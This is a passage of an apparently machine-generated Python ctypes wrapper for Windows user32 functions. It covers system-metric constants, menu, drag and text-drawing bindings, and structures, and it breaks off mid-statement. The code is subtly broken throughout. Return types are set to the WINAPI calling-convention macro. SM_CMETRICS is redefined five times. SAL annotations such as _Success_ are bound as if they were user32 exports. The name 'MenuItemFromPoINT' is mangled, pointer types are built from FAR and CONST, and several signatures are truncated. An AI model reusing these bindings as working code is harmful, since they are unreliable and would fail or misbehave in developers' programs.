SM_CYDLGFRAME\nSM_CXSIZEFRAME = SM_CXFRAME\nSM_CYSIZEFRAME = SM_CYFRAME\nSM_SECURE = 0x0000002C\nSM_CXEDGE = 0x0000002D\nSM_CYEDGE = 0x0000002E\nSM_CXMINSPACING = 0x0000002F\nSM_CYMINSPACING = 0x00000030\nSM_CXSMICON = 0x00000031\nSM_CYSMICON = 0x00000032\nSM_CYSMCAPTION = 0x00000033\nSM_CXSMSIZE = 0x00000034\nSM_CYSMSIZE = 0x00000035\nSM_CXMENUSIZE = 0x00000036\nSM_CYMENUSIZE = 0x00000037\nSM_ARRANGE = 0x00000038\nSM_CXMINIMIZED = 0x00000039\nSM_CYMINIMIZED = 0x0000003A\nSM_CXMAXTRACK = 0x0000003B\nSM_CYMAXTRACK = 0x0000003C\nSM_CXMAXIMIZED = 0x0000003D\nSM_CYMAXIMIZED = 0x0000003E\nSM_NETWORK = 0x0000003F\nSM_CLEANBOOT = 0x00000043\nSM_CXDRAG = 0x00000044\nSM_CYDRAG = 0x00000045\nSM_SHOWSOUNDS = 0x00000046\nSM_CXMENUCHECK = 0x00000047\nSM_CYMENUCHECK = 0x00000048\nSM_SLOWMACHINE = 0x00000049\nSM_MIDEASTENABLED = 0x0000004A\nSM_MOUSEWHEELPRESENT = 0x0000004B\nSM_XVIRTUALSCREEN = 0x0000004C\nSM_YVIRTUALSCREEN = 0x0000004D\nSM_CXVIRTUALSCREEN = 0x0000004E\nSM_CYVIRTUALSCREEN = 0x0000004F\nSM_CMONITORS = 0x00000050\nSM_SAMEDISPLAYFORMAT = 0x00000051\nSM_IMMENABLED = 0x00000052\nSM_CXFOCUSBORDER = 0x00000053\nSM_CYFOCUSBORDER = 0x00000054\nSM_TABLETPC = 0x00000056\nSM_MEDIACENTER = 0x00000057\nSM_STARTER = 0x00000058\nSM_SERVERR2 = 0x00000059\nSM_MOUSEHORIZONTALWHEELPRESENT = 0x0000005B\nSM_CXPADDEDBORDER = 0x0000005C\nSM_DIGITIZER = 0x0000005E\nSM_MAXIMUMTOUCHES = 0x0000005F\nSM_CMETRICS = 0x0000004C\nSM_CMETRICS = 0x00000053\nSM_CMETRICS = 0x0000005B\nSM_CMETRICS = 0x0000005D\nSM_CMETRICS = 0x00000061\nSM_REMOTESESSION = 0x00001000\nSM_SHUTTINGDOWN = 0x00002000\nSM_REMOTECONTROL = 0x00002001\nSM_CARETBLINKINGENABLED = 0x00002002\nSM_CONVERTIBLESLATEMODE = 0x00002003\nSM_SYSTEMDOCKED = 0x00002004\n\n# WINAPI\n# GetSystemMetrics(\n# _In_ INT nIndex);\nGetSystemMetrics = user32.GetSystemMetrics\nGetSystemMetrics.restype = WINAPI\n\n\n# WINAPI\n# GetSystemMetricsForDpi(\n# _In_ INT nIndex,\n# _In_ UINT dpi);\nGetSystemMetricsForDpi = user32.GetSystemMetricsForDpi\nGetSystemMetricsForDpi.restype = WINAPI\n\n\n# WINAPI\n# LoadMenuA(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCSTR lpMenuName);\nLoadMenuA = user32.LoadMenuA\nLoadMenuA.restype = WINAPI\n\n\n# WINAPI\n# LoadMenuW(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCWSTR lpMenuName);\nLoadMenuW = user32.LoadMenuW\nLoadMenuW.restype = WINAPI\n\nLoadMenu = LoadMenuW\n# LoadMenu = LoadMenuA\n\n# WINAPI\n# LoadMenuIndirectA(\n# _In_ CONST MENUTEMPLATEA *lpMenuTemplate);\nLoadMenuIndirectA = user32.LoadMenuIndirectA\nLoadMenuIndirectA.restype = WINAPI\n\n\n# WINAPI\n# LoadMenuIndirectW(\n# _In_ CONST MENUTEMPLATEW *lpMenuTemplate);\nLoadMenuIndirectW = user32.LoadMenuIndirectW\nLoadMenuIndirectW.restype = WINAPI\n\nLoadMenuIndirect = LoadMenuIndirectW\n# LoadMenuIndirect = LoadMenuIndirectA\n\n# WINAPI\n# GetMenu(\n# _In_ HWND hWnd);\nGetMenu = user32.GetMenu\nGetMenu.restype = WINAPI\n\n\n# WINAPI\n# SetMenu(\n# _In_ HWND hWnd,\n# _In_opt_ HMENU hMenu);\nSetMenu = user32.SetMenu\nSetMenu.restype = WINAPI\n\n\n# WINAPI\n# ChangeMenuA(\n# _In_ HMENU hMenu,\n# _In_ UINT cmd,\n# _In_opt_ LPCSTR lpszNewItem,\n# _In_ UINT cmdInsert,\n# _In_ UINT flags);\nChangeMenuA = user32.ChangeMenuA\nChangeMenuA.restype = WINAPI\n\n\n# WINAPI\n# ChangeMenuW(\n# _In_ HMENU hMenu,\n# _In_ UINT cmd,\n# _In_opt_ LPCWSTR lpszNewItem,\n# _In_ UINT cmdInsert,\n# _In_ UINT flags);\nChangeMenuW = user32.ChangeMenuW\nChangeMenuW.restype = WINAPI\n\nChangeMenu = ChangeMenuW\n# ChangeMenu = ChangeMenuA\n\n# WINAPI\n# HiliteMenuItem(\n# _In_ HWND hWnd,\n# _In_ HMENU hMenu,\n# _In_ UINT uIDHiliteItem,\n# _In_ UINT uHilite);\nHiliteMenuItem = user32.HiliteMenuItem\nHiliteMenuItem.restype = WINAPI\n\n\n# WINAPI\n# GetMenuStringA(\n# _In_ HMENU hMenu,\n# _In_ UINT uIDItem,\n# _Out_writes_opt_(cchMax) LPSTR lpString,\n# _In_ INT cchMax,\n# _In_ UINT flags);\nGetMenuStringA = user32.GetMenuStringA\nGetMenuStringA.restype = WINAPI\n\n\n# WINAPI\n# GetMenuStringW(\n# _In_ HMENU hMenu,\n# _In_ UINT uIDItem,\n# _Out_writes_opt_(cchMax) LPWSTR lpString,\n# _In_ INT cchMax,\n# _In_ UINT flags);\nGetMenuStringW = user32.GetMenuStringW\nGetMenuStringW.restype = WINAPI\n\nGetMenuString = GetMenuStringW\n# GetMenuString = GetMenuStringA\n\n# WINAPI\n# GetMenuState(\n# _In_ HMENU hMenu,\n# _In_ UINT uId,\n# _In_ UINT uFlags);\nGetMenuState = user32.GetMenuState\nGetMenuState.restype = WINAPI\n\n\n# WINAPI\n# DrawMenuBar(\n# _In_ HWND hWnd);\nDrawMenuBar = user32.DrawMenuBar\nDrawMenuBar.restype = WINAPI\n\nPMB_ACTIVE = 0x00000001\n\n# WINAPI\n# GetSystemMenu(\n# _In_ HWND hWnd,\n# _In_ BOOL bRevert);\nGetSystemMenu = user32.GetSystemMenu\nGetSystemMenu.restype = WINAPI\n\n\n# WINAPI\n# CreateMenu(\n# VOID);\nCreateMenu = user32.CreateMenu\nCreateMenu.restype = WINAPI\n\n\n# WINAPI\n# CreatePopupMenu(\n# VOID);\nCreatePopupMenu = user32.CreatePopupMenu\nCreatePopupMenu.restype = WINAPI\n\n\n# WINAPI\n# DestroyMenu(\n# _In_ HMENU hMenu);\nDestroyMenu = user32.DestroyMenu\nDestroyMenu.restype = WINAPI\n\n\n# WINAPI\n# CheckMenuItem(\n# _In_ HMENU hMenu,\n# _In_ UINT uIDCheckItem,\n# _In_ UINT uCheck);\nCheckMenuItem = user32.CheckMenuItem\nCheckMenuItem.restype = WINAPI\n\n\n# WINAPI\n# EnableMenuItem(\n# _In_ HMENU hMenu,\n# _In_ UINT uIDEnableItem,\n# _In_ UINT uEnable);\nEnableMenuItem = user32.EnableMenuItem\nEnableMenuItem.restype = WINAPI\n\n\n# WINAPI\n# GetSubMenu(\n# _In_ HMENU hMenu,\n# _In_ INT nPos);\nGetSubMenu = user32.GetSubMenu\nGetSubMenu.restype = WINAPI\n\n\n# WINAPI\n# GetMenuItemID(\n# _In_ HMENU hMenu,\n# _In_ INT nPos);\nGetMenuItemID = user32.GetMenuItemID\nGetMenuItemID.restype = WINAPI\n\n\n# WINAPI\n# GetMenuItemCount(\n# _In_opt_ HMENU hMenu);\nGetMenuItemCount = user32.GetMenuItemCount\nGetMenuItemCount.restype = WINAPI\n\n\n# WINAPI\n# InsertMenuA(\n# _In_ HMENU hMenu,\n# _In_ UINT uPosition,\n# _In_ UINT uFlags,\n# _In_ UINT_PTR uIDNewItem,\n# _In_opt_ LPCSTR lpNewItem);\nInsertMenuA = user32.InsertMenuA\nInsertMenuA.restype = WINAPI\n\n\n# WINAPI\n# InsertMenuW(\n# _In_ HMENU hMenu,\n# _In_ UINT uPosition,\n# _In_ UINT uFlags,\n# _In_ UINT_PTR uIDNewItem,\n# _In_opt_ LPCWSTR lpNewItem);\nInsertMenuW = user32.InsertMenuW\nInsertMenuW.restype = WINAPI\n\nInsertMenu = InsertMenuW\n# InsertMenu = InsertMenuA\n\n# WINAPI\n# AppendMenuA(\n# _In_ HMENU hMenu,\n# _In_ UINT uFlags,\n# _In_ UINT_PTR uIDNewItem,\n# _In_opt_ LPCSTR lpNewItem);\nAppendMenuA = user32.AppendMenuA\nAppendMenuA.restype = WINAPI\n\n\n# WINAPI\n# AppendMenuW(\n# _In_ HMENU hMenu,\n# _In_ UINT uFlags,\n# _In_ UINT_PTR uIDNewItem,\n# _In_opt_ LPCWSTR lpNewItem);\nAppendMenuW = user32.AppendMenuW\nAppendMenuW.restype = WINAPI\n\nAppendMenu = AppendMenuW\n# AppendMenu = AppendMenuA\n\n# WINAPI\n# ModifyMenuA(\n# _In_ HMENU hMnu,\n# _In_ UINT uPosition,\n# _In_ UINT uFlags,\n# _In_ UINT_PTR uIDNewItem,\n# _In_opt_ LPCSTR lpNewItem);\nModifyMenuA = user32.ModifyMenuA\nModifyMenuA.restype = WINAPI\n\n\n# WINAPI\n# ModifyMenuW(\n# _In_ HMENU hMnu,\n# _In_ UINT uPosition,\n# _In_ UINT uFlags,\n# _In_ UINT_PTR uIDNewItem,\n# _In_opt_ LPCWSTR lpNewItem);\nModifyMenuW = user32.ModifyMenuW\nModifyMenuW.restype = WINAPI\n\nModifyMenu = ModifyMenuW\n# ModifyMenu = ModifyMenuA\n\n# BOOL\n# WINAPI RemoveMenu(\n# _In_ HMENU hMenu,\n# _In_ UINT uPosition,\n# _In_ UINT uFlags);\nRemoveMenu = user32.RemoveMenu\nRemoveMenu.restype = WINAPI\n\n\n# WINAPI\n# DeleteMenu(\n# _In_ HMENU hMenu,\n# _In_ UINT uPosition,\n# _In_ UINT uFlags);\nDeleteMenu = user32.DeleteMenu\nDeleteMenu.restype = WINAPI\n\n\n# WINAPI\n# SetMenuItemBitmaps(\n# _In_ HMENU hMenu,\n# _In_ UINT uPosition,\n# _In_ UINT uFlags,\n# _In_opt_ HBITMAP hBitmapUnchecked,\n# _In_opt_ HBITMAP hBitmapChecked);\nSetMenuItemBitmaps = user32.SetMenuItemBitmaps\nSetMenuItemBitmaps.restype = WINAPI\n\n\n# WINAPI\n# GetMenuCheckMarkDimensions(\n# VOID);\nGetMenuCheckMarkDimensions = user32.GetMenuCheckMarkDimensions\nGetMenuCheckMarkDimensions.restype = WINAPI\n\n\n# WINAPI\n# TrackPopupMenu(\n# _In_ HMENU hMenu,\n# _In_ UINT uFlags,\n# _In_ INT x,\n# _In_ INT y,\n# _Reserved_ INT nReserved,\n# _In_ HWND hWnd,\n# _Reserved_ CONST RECT *prcRect);\nTrackPopupMenu = user32.TrackPopupMenu\nTrackPopupMenu.restype = WINAPI\n\nMNC_IGNORE = 0x00000000\nMNC_CLOSE = 0x00000001\nMNC_EXECUTE = 0x00000002\nMNC_SELECT = 0x00000003\n\nclass tagTPMPARAMS(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('rcExclude', RECT),\n ]\n\n\nTPMPARAMS = tagTPMPARAMS\n\n\nLPTPMPARAMS = POINTER(FAR)\n\n# WINAPI\n# TrackPopupMenuEx(\n# _In_ HMENU hMenu,\n# _In_ UINT uFlags,\n# _In_ INT x,\n# _In_ INT y,\n# _In_ HWND hwnd,\n# _In_opt_ LPTPMPARAMS lptpm);\nTrackPopupMenuEx = user32.TrackPopupMenuEx\nTrackPopupMenuEx.restype = WINAPI\n\n\n# WINAPI\n# CalculatePopupWindowPosition(\n# _In_ POINT *anchorPoINT,\n# _In_ SIZE *windowSize,\n# _In_ UINT flags,\n# _In_opt_ RECT *excludeRect,\n# _Out_ RECT *popupWindowPosition);\nCalculatePopupWindowPosition = user32.CalculatePopupWindowPosition\nCalculatePopupWindowPosition.restype = WINAPI\n\nMNS_NOCHECK = 0x80000000\nMNS_MODELESS = 0x40000000\nMNS_DRAGDROP = 0x20000000\nMNS_AUTODISMISS = 0x10000000\nMNS_NOTIFYBYPOS = 0x08000000\nMNS_CHECKORBMP = 0x04000000\nMIM_MAXHEIGHT = 0x00000001\nMIM_BACKGROUND = 0x00000002\nMIM_HELPID = 0x00000004\nMIM_MENUDATA = 0x00000008\nMIM_STYLE = 0x00000010\nMIM_APPLYTOSUBMENUS = 0x80000000\n\nclass tagMENUINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('fMask', DWORD),\n ('dwStyle', DWORD),\n ('cyMax', UINT),\n ('hbrBack', HBRUSH),\n ('dwContextHelpID', DWORD),\n ('dwMenuData', ULONG_PTR),\n ]\n\n\nMENUINFO = tagMENUINFO\nLPMENUINFO = POINTER(tagMENUINFO)\n\n\nLPCMENUINFO = POINTER(CONST)\n\n# WINAPI\n# GetMenuInfo(\n# _In_ HMENU,\n# _Inout_ LPMENUINFO);\nGetMenuInfo = user32.GetMenuInfo\nGetMenuInfo.restype = WINAPI\n\n\n# WINAPI\n# SetMenuInfo(\n# _In_ HMENU,\n# _In_ LPCMENUINFO);\nSetMenuInfo = user32.SetMenuInfo\nSetMenuInfo.restype = WINAPI\n\n\n# WINAPI\n# EndMenu(\n# VOID);\nEndMenu = user32.EndMenu\nEndMenu.restype = WINAPI\n\nMND_CONTINUE = 0x00000000\nMND_ENDMENU = 0x00000001\n\nclass tagMENUGETOBJECTINFO(ctypes.Structure):\n _fields_ = [\n ('dwFlags', DWORD),\n ('uPos', UINT),\n ('hmenu', HMENU),\n ('riid', PVOID),\n ('pvObj', PVOID),\n ]\n\n\nMENUGETOBJECTINFO = tagMENUGETOBJECTINFO\nPMENUGETOBJECTINFO = POINTER(tagMENUGETOBJECTINFO)\n\n\nMNGOF_TOPGAP = 0x00000001\nMNGOF_BOTTOMGAP = 0x00000002\nMNGO_NOINTERFACE = 0x00000000\nMNGO_NOERROR = 0x00000001\nMIIM_STATE = 0x00000001\nMIIM_ID = 0x00000002\nMIIM_SUBMENU = 0x00000004\nMIIM_CHECKMARKS = 0x00000008\nMIIM_TYPE = 0x00000010\nMIIM_DATA = 0x00000020\nMIIM_STRING = 0x00000040\nMIIM_BITMAP = 0x00000080\nMIIM_FTYPE = 0x00000100\nHBMMENU_CALLBACK = -1\nHBMMENU_SYSTEM = 1\nHBMMENU_MBAR_RESTORE = 2\nHBMMENU_MBAR_MINIMIZE = 3\nHBMMENU_MBAR_CLOSE = 5\nHBMMENU_MBAR_CLOSE_D = 6\nHBMMENU_MBAR_MINIMIZE_D = 7\nHBMMENU_POPUP_CLOSE = 8\nHBMMENU_POPUP_RESTORE = 9\nHBMMENU_POPUP_MAXIMIZE = 10\nHBMMENU_POPUP_MINIMIZE = 11\n\n\nclass tagMENUITEMINFOA(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('fMask', UINT),\n ('fType', UINT),\n ('fState', UINT),\n ('wID', UINT),\n ('hSubMenu', HMENU),\n ('hbmpChecked', HBITMAP),\n ('hbmpUnchecked', HBITMAP),\n ('dwItemData', ULONG_PTR),\n ('dwTypeData', LPSTR),\n ('cch', UINT),\n ('hbmpItem', HBITMAP),\n ]\n\n\nMENUITEMINFOA = tagMENUITEMINFOA\nLPMENUITEMINFOA = POINTER(tagMENUITEMINFOA)\n\n\n\nclass tagMENUITEMINFOW(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('fMask', UINT),\n ('fType', UINT),\n ('fState', UINT),\n ('wID', UINT),\n ('hSubMenu', HMENU),\n ('hbmpChecked', HBITMAP),\n ('hbmpUnchecked', HBITMAP),\n ('dwItemData', ULONG_PTR),\n ('dwTypeData', LPWSTR),\n ('cch', UINT),\n ('hbmpItem', HBITMAP),\n ]\n\n\nMENUITEMINFOW = tagMENUITEMINFOW\nLPMENUITEMINFOW = POINTER(tagMENUITEMINFOW)\n\n\nMENUITEMINFO = MENUITEMINFOW\nLPMENUITEMINFO = LPMENUITEMINFOW\nLPCMENUITEMINFOA = POINTER(CONST)\nLPCMENUITEMINFOW = POINTER(CONST)\nLPCMENUITEMINFO = LPCMENUITEMINFOW\n\n# WINAPI\n# InsertMenuItemA(\n# _In_ HMENU hmenu,\n# _In_ UINT item,\n# _In_ BOOL fByPosition,\n# _In_ LPCMENUITEMINFOA lpmi);\nInsertMenuItemA = user32.InsertMenuItemA\nInsertMenuItemA.restype = WINAPI\n\n\n# WINAPI\n# InsertMenuItemW(\n# _In_ HMENU hmenu,\n# _In_ UINT item,\n# _In_ BOOL fByPosition,\n# _In_ LPCMENUITEMINFOW lpmi);\nInsertMenuItemW = user32.InsertMenuItemW\nInsertMenuItemW.restype = WINAPI\n\nInsertMenuItem = InsertMenuItemW\n# InsertMenuItem = InsertMenuItemA\n\n# WINAPI\n# GetMenuItemInfoA(\n# _In_ HMENU hmenu,\n# _In_ UINT item,\n# _In_ BOOL fByPosition,\n# _Inout_ LPMENUITEMINFOA lpmii);\nGetMenuItemInfoA = user32.GetMenuItemInfoA\nGetMenuItemInfoA.restype = WINAPI\n\n\n# WINAPI\n# GetMenuItemInfoW(\n# _In_ HMENU hmenu,\n# _In_ UINT item,\n# _In_ BOOL fByPosition,\n# _Inout_ LPMENUITEMINFOW lpmii);\nGetMenuItemInfoW = user32.GetMenuItemInfoW\nGetMenuItemInfoW.restype = WINAPI\n\nGetMenuItemInfo = GetMenuItemInfoW\n# GetMenuItemInfo = GetMenuItemInfoA\n\n# WINAPI\n# SetMenuItemInfoA(\n# _In_ HMENU hmenu,\n# _In_ UINT item,\n# _In_ BOOL fByPositon,\n# _In_ LPCMENUITEMINFOA lpmii);\nSetMenuItemInfoA = user32.SetMenuItemInfoA\nSetMenuItemInfoA.restype = WINAPI\n\n\n# WINAPI\n# SetMenuItemInfoW(\n# _In_ HMENU hmenu,\n# _In_ UINT item,\n# _In_ BOOL fByPositon,\n# _In_ LPCMENUITEMINFOW lpmii);\nSetMenuItemInfoW = user32.SetMenuItemInfoW\nSetMenuItemInfoW.restype = WINAPI\n\nSetMenuItemInfo = SetMenuItemInfoW\n# SetMenuItemInfo = SetMenuItemInfoA\nGMDI_USEDISABLED = 0x00000001\nGMDI_GOINTOPOPUPS = 0x00000002\n\n# WINAPI\n# GetMenuDefaultItem(\n# _In_ HMENU hMenu,\n# _In_ UINT fByPos,\n# _In_ UINT gmdiFlags);\nGetMenuDefaultItem = user32.GetMenuDefaultItem\nGetMenuDefaultItem.restype = WINAPI\n\n\n# WINAPI\n# SetMenuDefaultItem(\n# _In_ HMENU hMenu,\n# _In_ UINT uItem,\n# _In_ UINT fByPos);\nSetMenuDefaultItem = user32.SetMenuDefaultItem\nSetMenuDefaultItem.restype = WINAPI\n\n\n# WINAPI\n# GetMenuItemRect(\n# _In_opt_ HWND hWnd,\n# _In_ HMENU hMenu,\n# _In_ UINT uItem,\n# _Out_ LPRECT lprcItem);\nGetMenuItemRect = user32.GetMenuItemRect\nGetMenuItemRect.restype = WINAPI\n\n\n# WINAPI\n# MenuItemFromPoINT(\n# _In_opt_ HWND hWnd,\n# _In_ HMENU hMenu,\n# _In_ POINT ptScreen);\nMenuItemFromPoINT = user32.MenuItemFromPoINT\nMenuItemFromPoINT.restype = WINAPI\n\nTPM_LEFTBUTTON = 0x00000000\nTPM_RIGHTBUTTON = 0x00000002\nTPM_LEFTALIGN = 0x00000000\nTPM_CENTERALIGN = 0x00000004\nTPM_RIGHTALIGN = 0x00000008\nTPM_TOPALIGN = 0x00000000\nTPM_VCENTERALIGN = 0x00000010\nTPM_BOTTOMALIGN = 0x00000020\nTPM_HORIZONTAL = 0x00000000\nTPM_VERTICAL = 0x00000040\nTPM_NONOTIFY = 0x00000080\nTPM_RETURNCMD = 0x00000100\nTPM_RECURSE = 0x00000001\nTPM_HORPOSANIMATION = 0x00000400\nTPM_HORNEGANIMATION = 0x00000800\nTPM_VERPOSANIMATION = 0x00001000\nTPM_VERNEGANIMATION = 0x00002000\nTPM_NOANIMATION = 0x00004000\nTPM_LAYOUTRTL = 0x00008000\nTPM_WORKAREA = 0x00010000\n\nclass tagDROPSTRUCT(ctypes.Structure):\n _fields_ = [\n ('hwndSource', HWND),\n ('hwndSink', HWND),\n ('wFmt', DWORD),\n ('dwData', ULONG_PTR),\n ('ptDrop', POINT),\n ('dwControlData', DWORD),\n ]\n\n\nDROPSTRUCT = tagDROPSTRUCT\nPDROPSTRUCT = POINTER(tagDROPSTRUCT)\nLPDROPSTRUCT = POINTER(tagDROPSTRUCT)\n\n\nDOF_EXECUTABLE = 0x00008001\nDOF_DOCUMENT = 0x00008002\nDOF_DIRECTORY = 0x00008003\nDOF_MULTIPLE = 0x00008004\nDOF_PROGMAN = 0x00000001\nDOF_SHELLDATA = 0x00000002\nDO_DROPFILE = 0x454C4946\nDO_PRINTFILE = 0x544E5250\n\n# WINAPI\n# DragObject(\n# _In_ HWND hwndParent,\n# _In_ HWND hwndFrom,\n# _In_ UINT fmt,\n# _In_ ULONG_PTR data,\n# _In_opt_ HCURSOR hcur);\nDragObject = user32.DragObject\nDragObject.restype = WINAPI\n\n\n# WINAPI\n# DragDetect(\n# _In_ HWND hwnd,\n# _In_ POINT pt);\nDragDetect = user32.DragDetect\nDragDetect.restype = WINAPI\n\n\n# WINAPI\n# DrawIcon(\n# _In_ HDC hDC,\n# _In_ INT X,\n# _In_ INT Y,\n# _In_ HICON hIcon);\nDrawIcon = user32.DrawIcon\nDrawIcon.restype = WINAPI\n\nDT_TOP = 0x00000000\nDT_LEFT = 0x00000000\nDT_CENTER = 0x00000001\nDT_RIGHT = 0x00000002\nDT_VCENTER = 0x00000004\nDT_BOTTOM = 0x00000008\nDT_WORDBREAK = 0x00000010\nDT_SINGLELINE = 0x00000020\nDT_EXPANDTABS = 0x00000040\nDT_TABSTOP = 0x00000080\nDT_NOCLIP = 0x00000100\nDT_EXTERNALLEADING = 0x00000200\nDT_CALCRECT = 0x00000400\nDT_NOPREFIX = 0x00000800\nDT_INTERNAL = 0x00001000\nDT_EDITCONTROL = 0x00002000\nDT_PATH_ELLIPSIS = 0x00004000\nDT_END_ELLIPSIS = 0x00008000\nDT_MODIFYSTRING = 0x00010000\nDT_RTLREADING = 0x00020000\nDT_WORD_ELLIPSIS = 0x00040000\nDT_NOFULLWIDTHCHARBREAK = 0x00080000\nDT_HIDEPREFIX = 0x00100000\nDT_PREFIXONLY = 0x00200000\n\nclass tagDRAWTEXTPARAMS(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('iTabLength', INT),\n ('iLeftMargin', INT),\n ('iRightMargin', INT),\n ('uiLengthDrawn', UINT),\n ]\n\n\nDRAWTEXTPARAMS = tagDRAWTEXTPARAMS\nLPDRAWTEXTPARAMS = POINTER(tagDRAWTEXTPARAMS)\n\n\n\n\ndef _In_bypassable_reads_or_z_(size):\n pass\n # return _When_((size == -1) or (_String_length__Curr_ < size), _In_z_) _When_((size != -1) and (_String_length__Curr_ >= size), _In_reads_size)\n\n\ndef _Inout_grows_updates_bypassable_or_z_(size, grows):\n pass\n # return _When_((size == -1) or (_String_length__Curr_ < size), _Pre_z_ _Pre_valid_ _Out_writes_z_(_String_length__Curr_ + grows)) _When_((size != -1) and (_String_length__Curr_ >= size), _Pre_count_size _Pre_valid_ _Out_writes_z_(size + grows))\n\n# WINUSERAPI\n# _Success_(return)\n_Success_ = user32._Success_\n_Success_.restype = WINUSERAPI\n\n\n# WINAPI\n# DrawTextA(\n# _In_ HDC hdc,\n# _When_((format & DT_MODIFYSTRING), _At_((LPSTR)lpchText, _Inout_grows_updates_bypassable_or_z_(cchText, 4)))\nDrawTextA = user32.DrawTextA\nDrawTextA.restype = WINAPI\n\n\n# WINUSERAPI\n# _Success_(return)\n_Success_ = user32._Success_\n_Success_.restype = WINUSERAPI\n\n\n# WINAPI\n# DrawTextW(\n# _In_ HDC hdc,\n# _When_((format & DT_MODIFYSTRING), _At_((LPWSTR)lpchText, _Inout_grows_updates_bypassable_or_z_(cchText, 4)))\nDrawTextW = user32.DrawTextW\nDrawTextW.restype = WINAPI\n\nDrawText = DrawTextW\n# DrawText = DrawTextA\n\n# INT\n# DrawText(\n# HDC hdc,\n# LPCTSTR lpchText,\n# INT cchText,\n# LPRECT lprc,\n# UINT format\n# )\n# DrawText = user32.DrawText\n# DrawText.restype = INT\n\n\n# WINUSERAPI\n# _Success_(return)\n_Success_ = user32._Success_\n_Success_.restype = WINUSERAPI\n\n\n# WINAPI\n# DrawTextExA(\n# _In_ HDC hdc,\n# _When_((cchText) < -1, _Unreferenced_parameter_)\nDrawTextExA = user32.DrawTextExA\nDrawTextExA.restype = WINAPI\n\n\n# WINUSERAPI\n# _Success_(return)\n_Success_ = user32._Success_\n_Success_.restype = WINUSERAPI\n\n\n# WINAPI\n# DrawTextExW(\n# _In_ HDC hdc,\n# _When_((cchText) < -1, _Unreferenced_parameter_)\nDrawTextExW = user32.DrawTextExW\nDrawTextExW.restype = WINAPI\n\nDrawTextEx = DrawTextExW\n# DrawTextEx = DrawTextExA\n\n# WINAPI\n# GrayStringA(\n# _In_ HDC hDC,\n# _In_opt_ HBRUSH hBrush,\n# _In_opt_ GRAYSTRINGPROC lpOutputFunc,\n# _In_ LPARAM lpData,\n# _In_ INT nCount,\n# _In_ INT X,\n# _In_ INT Y,\n# _In_ INT nWidth,\n# _In_ INT nHeight);\nGrayStringA = user32.GrayStringA\nGrayStringA.restype = WINAPI\n\n\n# WINAPI\n# GrayStringW(\n# _In_ HDC hDC,\n# _In_opt_ HBRUSH hBrush,\n# _In_opt_ GRAYSTRINGPROC lpOutputFunc,\n# _In_ LPARAM lpData,\n# _In_ INT nCount,\n# _In_ INT X,\n# _In_ INT Y,\n# _In_ INT nWidth,\n# _In_ INT nHeight);\nGrayStringW = user32.GrayStringW\nGrayStringW.restype = WINAPI\n\nGrayString = GrayStringW\n# GrayString = GrayStringA\nDST_COMPLEX = 0x00000000\nDST_TEXT = 0x00000001\nDST_PREFIXTEXT = 0x00000002\nDST_ICON = 0x00000003\nDST_BITMAP = 0x00000004\nDSS_NORMAL = 0x00000000\nDSS_UNION = 0x00000010\nDSS_DISABLED = 0x00000020\nDSS_MONO = 0x00000080\nDSS_HIDEPREFIX = 0x00000200\nDSS_PREFIXONLY = 0x00000400\nDSS_RIGHT = 0x00008000\n\n# WINAPI\n# DrawStateA(\n# _In_ HDC hdc,\n# _In_opt_ HBRUSH hbrFore,\n# _In_opt_ DRAWSTATEPROC qfnCallBack,\n# _In_ LPARAM lData,\n# _In_ WPARAM wData,\n# _In_ INT x,\n# _In_ INT y,\n# _In_ INT cx,\n# _In_ INT cy,\n# _In_ UINT uFlags);\nDrawStateA = user32.DrawStateA\nDrawStateA.restype = WINAPI\n\n\n# WINAPI\n# DrawStateW(\n# _In_ HDC hdc,\n# _In_opt_ HBRUSH hbrFore,\n# _In_opt_ DRAWSTATEPROC qfnCallBack,\n# _In_ LPARAM lData,\n# _In_ WPARAM wData,\n# _In_ INT x,\n# _In_ INT y,\n# _In_ INT cx,\n# _In_ INT cy,\n# _In_ UINT uFlags);\nDrawStateW = user32.DrawStateW\nDrawStateW.restype = WINAPI\n\nDrawState = DrawStateW\n# DrawState = DrawStateA\n\n# WINAPI\n# TabbedTextOutA(\n# _In_ HDC hdc,\n# _In_ INT x,\n# _In_ INT y,\n# _In_reads_(chCount) LPCSTR lpString,\n# _In_ INT chCount,\n# _In_ INT nTabPositions,\n# _In_reads_opt_(nTabPositions) CONST INT *lpnTabStopPositions,\n# _In_ INT nTabOrigin);\nTabbedTextOutA = user32.TabbedTextOutA\nTabbedTextOutA.restype = WINAPI\n\n\n# WINAPI\n# TabbedTextOutW(\n# _In_ HDC hdc,\n# _In_ INT x,\n# _In_ INT y,\n# _In_reads_(chCount) LPCWSTR lpString,\n# _In_ INT chCount,\n# _In_ INT nTabPositions,\n# _In_reads_opt_(nTabPositions) CONST INT *lpnTabStopPositions,\n# _In_ INT nTabOrigin);\nTabbedTextOutW = user32.TabbedTextOutW\nTabbedTextOutW.restype = WINAPI\n\nTabbedTextOut = TabbedTextOutW\n# TabbedTextOut = TabbedTextOutA\n\n# WINAPI\n# GetTabbedTextExtentA(\n# _In_ HDC hdc,\n# _In_reads_(chCount) LPCSTR lpString,\n# _In_ INT chCount,\n# _In_ INT nTabPositions,\n# _In_reads_opt_(nTabPositions) CONST INT *lpnTabStopPositions);\nGetTabbedTextExtentA = user32.GetTabbedTextExtentA\nGetTabbedTextExtentA.restype = WINAPI\n\n\n# WINAPI\n# GetTabbedTextExtentW(\n# _In_ HDC hdc,\n# _In_reads_(chCount) LPCWSTR lpString,\n# _In_ INT chCount,\n# _In_ INT nTabPositions,\n# _In_reads_opt_(nTabPositions) CONST INT *lpnTabStopPositions);\nGetTabbedTextExtentW = user32.GetTabbedTextExtentW\nGetTabbedTextExtentW.restype = WINAPI\n\nGetTabbedTextExtent = GetTabbedTextExtentW\n# GetTabbedTextExtent = GetTabbedTextExtentA\n\n# WINAPI\n# UpdateWindow(\n# _In_ HWND hWnd);\nUpdateWindow = user32.UpdateWindow\nUpdateWindow.restype = WINAPI\n\n\n# WINAPI\n# SetActiveWindow(\n# _In_ HWND hWnd);\nSetActiveWindow = user32.SetActiveWindow\nSetActiveWindow.restype = WINAPI\n\n\n# WINAPI\n# GetForegroundWindow(\n# VOID);\nGetForegroundWindow = user32.GetForegroundWindow\nGetForegroundWindow.restype = 